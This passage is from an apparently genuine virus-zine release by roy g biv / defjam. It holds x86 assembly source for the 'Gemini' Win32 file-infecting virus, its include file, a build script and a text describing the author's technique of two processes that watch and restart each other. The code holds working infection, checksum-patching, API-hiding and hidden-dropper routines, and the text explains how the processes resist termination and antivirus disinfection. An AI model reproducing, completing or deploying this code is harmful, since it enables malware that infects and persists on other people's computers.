jecxz infect_ret
xor eax, eax
pop ecx
push ecx
inc ecx
shr ecx, 1
clc
calc_checksum label near
adc ax, word ptr [edi]
inc edi
inc edi
loop calc_checksum
pop dword ptr [ebx]
adc dword ptr [ebx], eax ;avoid common bug. ADC not ADD
infect_ret label near
int 3 ;common exit using SEH
db "*4U2NV*" ;that is, unless you're reading this
test_infect endp
;-----------------------------------------------------------------------------
;virus code begins here in infected files
;-----------------------------------------------------------------------------
gemini_inf label near
pushad
call walk_seh
;-----------------------------------------------------------------------------
;API CRC table, null terminated
;-----------------------------------------------------------------------------
expcrcbegin label near ;place < 80h bytes from call for smaller code
dd (expcrc_count + 1) dup (0)
expcrcend label near
dd offset drop_exp - offset expcrcend + 4
explabel label near
db exename, ".exe", 0
db 0ch - (offset $ - offset explabel) dup (0)
expsize equ 0d4h
;RLE-based compressed MZ header, PE header, import table, section table
dd 11111111110000011100001011100000b
; mmmmmmmmmmz 01mmz 02mmm
db 'M', 'Z', "gdi32.dll", 'P', 'E', 4ch, 1, 1
dd 00000110000111100001001010010000b
; z 01mz 03mmz 02r 04m
db 2, 2ch, 10h, 88h
dd 00000111110100100001001000111110b
; z 01mmmmr 02z 04mz 07mm
db 0fh, 3, 0bh, 1, 56h, expsize, 10h
dd 00001001010010001011000010100001b
; z 02r 04mz 05mz 02mz 02
db 0ch, 40h, 10h
dd 00000110000101010111100001111100b
; z 01mz 02mr 07mz 03mmm
db 2, 1, 4, "Arc"
dd 00001010000101000111100000101001b
; z 02mz 03mz 07mz 01r 02
db ((gemini_codeend - offset gemini_exe + expsize + 1fffh) and not 0fffh) shr 8, expsize, 2
dd 10000111000011100001110000110101b
; mz 03mz 03mz 03mz 03r 04
db 1, 1, 1, 1
dd 10001110101001100101001111001111b
; mz 07r 04mmz 0ar 0er 0e
db 2, 8, 10h
dd 00010110000111000010100001101100b
; z 05mz 03mz 02mz 03r 08
db 10h, ((gemini_codeend - offset gemini_exe + expsize + 1ffh) and not 1ffh) shr 8, 1
dd 00011110000000000000000000000000b
; z 07m
db 0e0h
dd 0
;decompressed data follow. 'X' bytes are set to random value every time
; db 'M', 'Z' ;00
; db "gdi32.dll", 0 ;02 align 4, filler (overload for dll name and import lookup table RVA)
; db 'P', 'E', 0, 0 ;0c 00 signature (overload for date/time stamp)
; dw 14ch ;10 04 machine (overload for forwarder chain)
; dw 1 ;12 06 number of sections (overload for forwarder chain)
; dd 2 ;14 08 date/time stamp (overload for dll name RVA)
; dd 102ch ;18 0c pointer to symbol table (overload for import address table RVA)
; db X, X, X, X ;1c 10 number of symbols
; dw 88h ;20 14 size of optional header
; dw 30fh ;22 16 characteristics
; dw 10bh ;24 18 magic
; db X ;26 1a major linker
; db X ;27 1b minor linker
; dd 0 ;28 1c size of code (overload for import table terminator)
; dd 56h ;2c 20 size of init data (overload for import name table RVA)
; dd 0 ;30 24 size of uninit data (overload for import name table terminator)
; dd expsize + 1000h ;34 28 entry point
; db X, X, X, X ;38 2c base of code
; dd 0ch ;3c 30 base of data (overload for lfanew)
; dd 400000h ;40 34 image base
; dd 1000h ;44 38 section align
; dd 200h ;48 3c file align
; db 1, X ;4c 40 major os
; db X, X ;4e 42 minor os
; db X, X ;50 44 major image
; db X, X ;52 46 minor image
; dw 4 ;54 48 major subsys
; dw 0 ;56 4a minor subsys (overload for import name table)
; db "Arc", 0 ;58 4c reserved (overload for import name table)
; dd (aligned size of code) ;5c 50 size of image
; dd expsize ;60 54 size of headers
; dd 0 ;64 58 checksum
; dw 2 ;68 5c subsystem
; db X, X ;6a 5e dll characteristics
; dd 1 ;6c 60 size of stack reserve
; dd 1 ;70 64 size of stack commit
; dd 1 ;74 68 size of heap reserve
; dd 1 ;78 6c size of heap commit
; db X, X, X, X ;7c 70 loader flags
; dd 2 ;80 74 number of rva and sizes (ignored by Windows 9x/Me)
; dd 0 ;84 78 export
; db X, X, X, X ;88 7c export
; dd 1008h ;8c 80 import
; dd 0 ;90 84 import
; dd 0 ;94 88 resource
; db X, X, X, X ;98 8c resource
; db X, X, X, X, X, X, X, X ;9c 90 exception
; db X, X, X, X, X, X, X, X ;a4 98 certificate
; db X, X, X, X, X, X, X, X ;ac a0 base reloc (overload for section name)
; dd 0 ;b4 a8 debug (overload for virtual size)
; dd 1000h ;b8 ac debug (overload for virtual address)
; dd (aligned size of code) ;bc b0 architecture (overload for file size)
; dd 1 ;c0 b4 architecture (overload for file offset)
; db X, X, X, X ;c4 b8 global data (overload for pointer to relocs)
; db X, X, X, X ;c8 bc global data (overload for pointer to line numbers)
; dd 0 ;cc c0 tls (overload for reloc table and line numbers)
; dd 0e0000000h ;d0 c4 tls (overload for section characteristics)
; ;d4
drop_exp label near
mov ebx, esp
lea esi, dword ptr [edi + offset explabel - offset drop_exp]
mov edi, offset gemini_codeend - offset gemini_exe + expsize + 1ffh
;file size must be > end of last section
push edi
xor ebp, ebp ;GMEM_FIXED
push ebp
call dword ptr [ebx + expcrcstk.pGlobalAlloc]
push eax ;GlobalFree
push ebp ;WriteFile
push esp ;WriteFile
push edi ;WriteFile
push ebp ;CreateFileA
push ebp ;CreateFileA
push CREATE_ALWAYS ;CreateFileA
push ebp ;CreateFileA
push ebp ;CreateFileA
push GENERIC_WRITE ;CreateFileA
push eax ;CreateFileA
lea ecx, dword ptr [eax + 7fh]
push ecx ;MoveFileA
push eax ;MoveFileA
push eax ;GetFileAttributesA
push ebp ;SetFileAttributesA
push eax ;SetFileAttributesA
push ecx ;DeleteFileA
push ecx ;GetTempFileNameA
push ebp ;GetTempFileNameA
push esp ;GetTempFileNameA
push eax ;GetTempFileNameA
push edi ;GetWindowsDirectoryA
push eax ;GetWindowsDirectoryA
xchg ebp, eax
call dword ptr [ebx + expcrcstk.pGetWindowsDirectoryA]
lea edi, dword ptr [ebp + eax - 1]
call dword ptr [ebx + expcrcstk.pGetTempFileNameA]
call dword ptr [ebx + expcrcstk.pDeleteFileA]
mov al, '\'
scas byte ptr [edi]
je skip_slash
stos byte ptr [edi]
;-----------------------------------------------------------------------------
;append exe name, assumes name is 0ch bytes long
;-----------------------------------------------------------------------------
skip_slash label near
movs dword ptr [edi], dword ptr [esi]
movs dword ptr [edi], dword ptr [esi]
movs dword ptr [edi], dword ptr [esi]
;-----------------------------------------------------------------------------
;anti-anti-file dropper - remove read-only attribute, delete file, rename directory
;-----------------------------------------------------------------------------
call dword ptr [ebx + expcrcstk.pSetFileAttributesA]
call dword ptr [ebx + expcrcstk.pGetFileAttributesA]
test al, FILE_ATTRIBUTE_DIRECTORY
pop ecx
pop eax
je skip_move
push eax
push ecx
call dword ptr [ebx + expcrcstk.pMoveFileA]
skip_move label near
call dword ptr [ebx + expcrcstk.pCreateFileA]
push edi ;WriteFile
push ebx
xchg ebp, eax
call dword ptr [ebx + expcrcstk.pGetTickCount]
xchg ebx, eax
xor ecx, ecx
;-----------------------------------------------------------------------------
;decompress MZ header, PE header, section table, import table
;-----------------------------------------------------------------------------
lods dword ptr [esi]
copy_bytes label near
movs byte ptr [edi], byte ptr [esi]
test_bits label near
add eax, eax
jb copy_bytes
add eax, eax
sbb dl, dl
and dl, bl
shld ecx, eax, 4
rol ebx, cl
shl eax, 4
xchg edx, eax
rep stos byte ptr [edi]
xchg edx, eax
jne test_bits
lods dword ptr [esi]
test eax, eax
jne test_bits
mov cx, offset gemini_codeend - offset gemini_exe
sub esi, offset drop_exp - offset gemini_exe
rep movs byte ptr [edi], byte ptr [esi]
pop ebx
push ebp
call dword ptr [ebx + expcrcstk.pWriteFile]
push ebp
call dword ptr [ebx + expcrcstk.pCloseHandle]
pop eax
push eax
inc ebp
je host_ret ;allow only 1 copy to run
push SW_HIDE
push eax
call dword ptr [ebx + expcrcstk.pWinExec]
host_ret label near
add esp, 4 + size expcrcstk
popad
host_patch label near
db 0e9h, 'rgb!' ;must be last bytes in file
gemini_codeend label near
gemini_exe endp
.code
dropper label near
mov edx, expcrc_count
mov ebx, offset expnames
mov edi, offset expcrcbegin
call create_crcs
mov edx, krncrc_count
mov ebx, offset krnnames
mov edi, offset krncrcbegin
call create_crcs
mov edx, sfccrc_count
mov ebx, offset sfcnames
mov edi, offset sfccrcbegin
call create_crcs
call patch_host
xor ebx, ebx
push ebx
push offset txttitle
push offset txtbody
push ebx
call MessageBoxA
push ebx
call ExitProcess
create_crcs proc near
imul ebp, edx, 4
create_loop label near
or eax, -1
create_outer label near
xor al, byte ptr [ebx]
push 8
pop ecx
create_inner label near
add eax, eax
jnb create_skip
xor eax, 4c11db7h ;use generator polymonial (see IEEE 802)
create_skip label near
loop create_inner
sub cl, byte ptr [ebx] ;carry set if not zero
inc ebx ;carry not altered by inc
jb create_outer
push eax
dec edx
jne create_loop
mov eax, esp
push ecx
push ebp
push eax
push edi
call GetCurrentProcess
push eax
xchg esi, eax
call WriteProcessMemory
add esp, ebp
ret
create_crcs endp
end dropper
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MAX_PATH equ 260
FILE_ATTRIBUTE_DIRECTORY equ 00000010h
CREATE_ALWAYS equ 2
OPEN_EXISTING equ 3
GENERIC_WRITE equ 40000000h
GENERIC_READ equ 80000000h
SW_HIDE equ 0
GMEM_FIXED equ 0
GMEM_ZEROINIT equ 40h
STATUS_TIMEOUT equ 102h
WAIT_TIMEOUT equ STATUS_TIMEOUT
PROCESS_VM_READ equ 10h
EVENT_MODIFY_STATE equ 2
SYNCHRONIZE equ 100000h
DRIVE_FIXED equ 3
DRIVE_REMOTE equ 4
IMAGE_FILE_MACHINE_I386 equ 14ch ;14d/14e do not exist. if you don't believe, then try it
IMAGE_FILE_RELOCS_STRIPPED equ 0001h
IMAGE_FILE_EXECUTABLE_IMAGE equ 0002h
IMAGE_FILE_32BIT_MACHINE equ 0100h
IMAGE_FILE_SYSTEM equ 1000h
IMAGE_FILE_DLL equ 2000h
IMAGE_FILE_UP_SYSTEM_ONLY equ 4000h
IMAGE_SUBSYSTEM_WINDOWS_GUI equ 2
IMAGE_SUBSYSTEM_WINDOWS_CUI equ 3
SECTION_MAP_WRITE equ 0002h
FILE_MAP_WRITE equ SECTION_MAP_WRITE
PAGE_READWRITE equ 04
SLEEPLEN equ 01
TIMEOUT equ 03 ;seconds to wait for remote process to signal
;should be >= INT((SLEEPLEN * 2.5) + 0.5)
RANDPADMIN equ 4096
RANDPADMAX equ 2048 ;RANDPADMIN is added to this
align 1 ;byte-packed structures
expcrcstk struct
pWriteFile dd ?
pWinExec dd ?
pSetFileAttributesA dd ?
pMoveFileA dd ?
pGlobalFree dd ?
pGlobalAlloc dd ?
pGetWindowsDirectoryA dd ?
pGetTickCount dd ?
pGetTempFileNameA dd ?
pGetFileAttributesA dd ?
pDeleteFileA dd ?
pCreateFileA dd ?
pCloseHandle dd ?
expcrcstk ends
expcrc_count equ size expcrcstk shr 2
krncrcstk struct
kWaitForSingleObject dd ?
kUnmapViewOfFile dd ?
kSleep dd ?
kSetFileTime dd ?
kSetFileAttributesW dd ?
kSetFileAttributesA dd ?
kSetEvent dd ?
kSetCurrentDirectoryW dd ?
kSetCurrentDirectoryA dd ?
kResetEvent dd ?
kReadProcessMemory dd ?
kOpenProcess dd ?
kOpenEventA dd ?
kMultiByteToWideChar dd ?
kMapViewOfFile dd ?
kLoadLibraryA dd ?
kGlobalFree dd ?
kGlobalAlloc dd ?
kGetVersion dd ?
kGetTickCount dd ?
kGetStartupInfoA dd ?
kGetFullPathNameW dd ?
kGetFullPathNameA dd ?
kGetDriveTypeA dd ?
kGetCurrentProcessId dd ?
kGetCommandLineA dd ?
kFindNextFileW dd ?
kFindNextFileA dd ?
kFindFirstFileW dd ?
kFindFirstFileA dd ?
kFindClose dd ?
kCreateThread dd ?
kCreateProcessA dd ?
kCreateFileMappingA dd ?
kCreateFileW dd ?
kCreateFileA dd ?
kCreateEventA dd ?
kCloseHandle dd ?
krncrcstk ends
krncrc_count equ size krncrcstk shr 2
sfccrcstk struct
sSfcIsFileProtected dd ?
sfccrcstk ends
sfccrc_count equ size sfccrcstk shr 2
startupinfo struct
sicb dd ?
siReserved dd ?
siDesktop dd ?
siTitle dd ?
sidwX dd ?
sidwY dd ?
sidwXSize dd ?
sidwYSize dd ?
sidwXCountChars dd ?
sidwYCountChars dd ?
sidwFillAttribute dd ?
sidwFlags dd ?
siwShowWindow dw ?
sicbReserved2 dw ?
silpReserved2 dd ?
sihStdInput dd ?
sihStdOutput dd ?
sihStdError dd ?
startupinfo ends
processinfo struct
pihProcess dd ?
pihThread dd ?
pidwProcessId dd ?
pidwThreadId dd ?
processinfo ends
coffhdr struct
pemachine dw ? ;04
pesectcount dw ? ;06
petimedate dd ? ;08
pesymbrva dd ? ;0C
pesymbcount dd ? ;10
peopthdrsize dw ? ;14
peflags dw ? ;16
coffhdr ends
pedir struct
dirrva dd ?
dirsize dd ?
pedir ends
pehdr struct
pesig dd ? ;00
pecoff coffhdr <?>
pemagic dw ? ;18
pemajorlink db ? ;1A
peminorlink db ? ;1B
pecodesize dd ? ;1C
peidatasize dd ? ;20
peudatasize dd ? ;24
peentrypoint dd ? ;28
pecodebase dd ? ;2C
pedatabase dd ? ;30
peimagebase dd ? ;34
pesectalign dd ? ;38
pefilealign dd ? ;3C
pemajoros dw ? ;40
peminoros dw ? ;42
pemajorimage dw ? ;44
peminorimage dw ? ;46
pemajorsubsys dw ? ;48
peminorsubsys dw ? ;4A
pereserved dd ? ;4C
peimagesize dd ? ;50
pehdrsize dd ? ;54
pechksum dd ? ;58
pesubsys dw ? ;5C
pedllflags dw ? ;5E
pestackmax dd ? ;60
pestacksize dd ? ;64
peheapmax dd ? ;68
peheapsize dd ? ;6C
peldrflags dd ? ;70
pervacount dd ? ;74
peexport pedir <?> ;78
peimport pedir <?> ;80
persrc pedir <?> ;88
peexcpt pedir <?> ;90
pesecurity pedir <?> ;98
pereloc pedir <?> ;A0
pedebug pedir <?> ;A8
pearch pedir <?> ;B0
peglobal pedir <?> ;B8
petls pedir <?> ;C0
peconfig pedir <?> ;C8
pebound pedir <?> ;D0
peiat pedir <?> ;D8
pedelay pedir <?> ;E0
pecom pedir <?> ;E8
persrv pedir <?> ;F0
pehdr ends
peexp struct
expflags dd ?
expdatetime dd ?
expmajorver dw ?
expminorver dw ?
expdllrva dd ?
expordbase dd ?
expadrcount dd ?
expnamecount dd ?
expadrrva dd ?
expnamerva dd ?
expordrva dd ?
peexp ends
mzhdr struct
mzsig dw ? ;00
mzpagemod dw ? ;02
mzpagediv dw ? ;04
mzrelocs dw ? ;06
mzhdrsize dw ? ;08
mzminalloc dw ? ;0A
mzmaxalloc dw ? ;0C
mzss dw ? ;0E
mzsp dw ? ;10
mzchksum dw ? ;12
mzip dw ? ;14
mzcs dw ? ;16
mzreloff dw ? ;18
mzfiller db 22h dup (?) ;1A
mzlfanew dd ? ;3C
mzhdr ends
FILETIME struct
dwLowDateTime dd ?
dwHighDateTime dd ?
FILETIME ends
WIN32_FIND_DATA struct
dwFileAttributes dd ?
ftCreationTime FILETIME <?>
ftLastAccessTime FILETIME <?>
ftLastWriteTime FILETIME <?>
dwFileSizeHigh dd ?
dwFileSizeLow dd ?
dwReserved0 dd ?
dwReserved1 dd ?
cFileName dw 260 dup (?)
cAlternateFileName dw 14 dup (?)
WIN32_FIND_DATA ends
findlist struct
findprev dd ?
findhand dd ?
finddata WIN32_FIND_DATA <?>
findlist ends
sehstruc struct
sehkrnlret dd ?
sehexcptrec dd ?
sehprevseh dd ?
sehstruc ends
pesect struct
sectname db 8 dup (?)
sectvirtsize dd ?
sectvirtaddr dd ?
sectrawsize dd ?
sectrawaddr dd ?
sectreladdr dd ?
sectlineaddr dd ?
sectrelcount dw ?
sectlinecount dw ?
sectflags dd ?
pesect ends
mapsehstk struct
mapsehprev dd ?
mapsehexcpt dd ?
mapsehregs dd 8 dup (?)
mapsehsehret dd ?
mapsehinfret dd ?
mapsehstk ends
infectstk struct
inffilesize dd ?
infseh mapsehstk <?>
infectstk ends
align ;restore default alignment
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[GEMINI.INC]<EFBFBD><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[TWINS.TXT]<EFBFBD><EFBFBD><EFBFBD>
I get by with a little help
from my friends
roy g biv / defjam
-= defjam =-
since 1992
bringing you the viruses of tomorrow
today!
About the author:
Former DOS/Win16 virus writer, author of several virus families, including
Ginger (see Coderz #1 zine for terrible buggy example, contact me for better
sources ;), and Virus Bulletin 9/95 for a description of what they called
Rainbow. Co-author of world's first virus using circular partition trick
(Orsam, coded with Prototype in 1993). Designer of the world's first XMS
swapping virus (John Galt, coded by RTFishel in 1995, only 30 bytes stub, the
rest is swapped out). Author of world's first virus using Thread Local
Storage for replication (Shrug) and world's first Native executable virus
(Chthon). Author of various retrovirus articles (eg see Vlad #7 for the
strings that make your code invisible to TBScan). Went to sleep for a number
of years. This is my fifth virus for Win32.
I'm also available for joining a group. Just in case anyone is interested. ;)
What is process co-operation?
Process co-operation is a technique where one process verifies the state of
another process, and the other process verifies the state of the one process.
There can also be more than two processes involved. If we consider the case
of two processses, one process is called "Local" and the other process is
called "Remote", then the Local process can ensure that the Remote process is
still running; the Local process can ensure that the Remote process is still
active (that is has not been suspended); the Local process can ensure that the
Remote process has not been altered. If the Remote process has been altered
or terminated, then the Local process can start a new instance of the Remote
process; if the Remote process has been suspended, then the Local process can
resume the Remote process or start a new instance of the Remote process. If
the Remote process contains the same code, then the Remote process can ensure
the same things about the Local process and perform the same actions in
response. This makes it a very powerful technique to protect against forced
termination and "disinfection" of the memory image by AV softwares.
This is not a new technique, but this seems to be the first time on Windows.
The earliest reference that I found is the mid 1970s (older than me ;) ).
(www.tuxedo.org/~esr/jargon/jargon.html#The%20Meaning%20of%20Hack)
Let's see the algorithm for one process that runs as two instances.
First there is some startup code:
if argc == 1 ;first time execution
{
restart:
do
{
event1 = true ;set initial states
event2 = false ;set intial states
pid2 = run(process2, pid1) ;run second instance
}
while !wait (event2, timeout) ;loop if Remote process dies
}
So now we have two instances running. We enter the main loop:
process 1 (Local) process 2 (Remote)
do do
{ {
if event1 if event2
break break
event2 = false event1 = false
if !checksum(pid2) if !checksum(pid1)
break break
event1 = true event2 = true
} }
while wait (event2, timeout) while wait (event1, timeout)
goto restart goto restart
Let's examine line by line:
if event1
break
If the Local event was not reset by the Remote process, then we think that the
Remote process is suspended or terminated, so we exit the loop and restart the
Remote process.
event2 = false
Reset the Remote event. Dis is one half ;) of the "I'm alive" checking.
if !checksum(pid2)
break
If the Remote checksum fails then the memory image of the Remote process has
been altered, so we exit the loop and restart the Remote process.
event1 = true
Set the Local event. This is the other half of the "I'm alive" checking.
while wait (event2, timeout)
Loop while Remote event signals before timeout expires.
That's it. So simple. We are ready for ourselves. Are you?
Greets to the old Defjam crew:
Prototype, RTFishel, Obleak, and The Gingerbread Man
rgb/dj feb 2002
iam_rgb@hotmail.com
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[TWINS.TXT]<EFBFBD><EFBFBD><EFBFBD>
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[MAKE.BAT]<EFBFBD><EFBFBD><EFBFBD>
@echo off
if %1.==. goto usage
%tasm32%\bin\tasm32 /r /ml /m9 /os /p /q /w2 /zn %1
if errorlevel 1 goto end
%tasm32%\bin\tlink32 /c /B:400000 /Tpe /aa /x /n %1.obj,,,%tasm32%\lib\import32.lib,
del %1.obj
goto end
:usage
echo.
echo Usage: MAKE filename
echo eg. MAKE EFISHNC
echo requires %tasm32% set to TASM directory (eg C:\TASM)
:end
echo.
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>[MAKE.BAT]<EFBFBD><EFBFBD><EFBFBD>